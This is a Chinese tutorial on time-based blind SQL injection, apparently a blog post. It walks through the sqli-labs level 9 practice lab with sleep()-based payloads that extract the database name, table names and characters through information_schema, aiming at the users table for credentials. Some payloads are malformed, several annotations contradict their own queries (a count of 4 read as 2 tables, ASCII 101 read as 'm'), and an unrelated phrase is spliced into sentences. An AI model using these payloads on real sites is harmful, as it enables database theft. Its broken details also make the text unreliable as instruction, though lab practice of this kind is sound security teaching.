延時注入
當我們改變前端頁面傳輸給后臺sql參數時,頁面沒有顯示相應內容也沒有顯示報錯信息時,不能使用聯合查詢注入和報錯注入,同時也沒有出現布爾類型狀態時,我們可以考慮用基于時間的盲注。
原理:
延時注入就是利用sleep()語句的延時性,以頁面的時間線作為判斷依據,一點一點注入出數據庫的信息(時間是衡量一切的標準)
這種注入方式在傳給后臺的參數中,設置了一個if語句sql 獲取當前數據庫名,當條件為真時執行sleep語句,條件為假時無執行語句,然后根據瀏覽器的響應時間來推測sleep語句是否被執行,進而推測if條件是否為真。以sqli-labs--9關為例
判斷是否存在注入點及注入的類型
,可以看到sleep語句對網頁有影響,說明了存在延時注入
注入步驟:
延時注入與布爾盲注類似,根據響應的時間判斷條件的真假,從而依次得到表名、字段名及字段內容
獲取數據庫名 判斷數據庫名長度
判斷數據庫名字符的ASCII碼值
輸入?id=1' and if(ascii(((),1,1))= 115,sleep(5),0) --+
if(expr1,expr2,expr3)
如果expr1的值為true,則返回expr2的值sql 獲取當前數據庫名,如果expr1的值為false,則返回expr3的值。
代碼的含義就是如果數據庫名字的第一個字符的acsii值為115,則進行延時,否則返回0即什么都不返回。
頁面顯示延時5 秒,說明數據庫名字第一個字母的ASCII 值是115,也就是字母s。
輸入?id=1' and if(ascii(((),2,1))= 101,sleep(5),0) --+,頁面顯示延時5 秒,說明數據庫名字第一個字母的ASCII 值是101,也就是字母e。
按同樣方法可以測試出其他幾位字符,得到數據庫名為
獲取數據庫表名
先判斷當前數據庫中表的個數,再測試表名的每個字符
判斷當前數據庫表的個數
?id=1' and if((select count(table_name) from information_schema.tables where table_schema = database())=4,sleep(5),1)--+//說明有2個表

判斷第一個表的長度
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) --+//長度為6
判斷第一個表名的第一個字符
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1,1))=101,sleep(5),1)--+//e
判斷第一個表名的第二個字符
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),2,1))=101,sleep(5),1)--+//m
......

綜上所述,可判斷出存在表 emails、referers、uagents、users ,猜測users表中最有可能存在賬戶和密碼,所以以下判斷字段和數據在 users 表中判斷
獲取表的字段
詳情可參照布爾盲注,獲取方法大同小異。【SQL注入漏洞-04】布爾盲注靶場實戰_在等晚風吹嗎的博客-CSDN博客
總結:
布爾盲注和延時注入的相同點:
都是通過瀏覽器頁面兩種不同的響應來推測輸入條件的真假性
布爾盲注和延時注入的不同點:
延時注入的缺點:
有時候網頁響應慢并不是因為sleep語句起的效果,也可能是網絡等外部因素的影響。同時時間成本很高。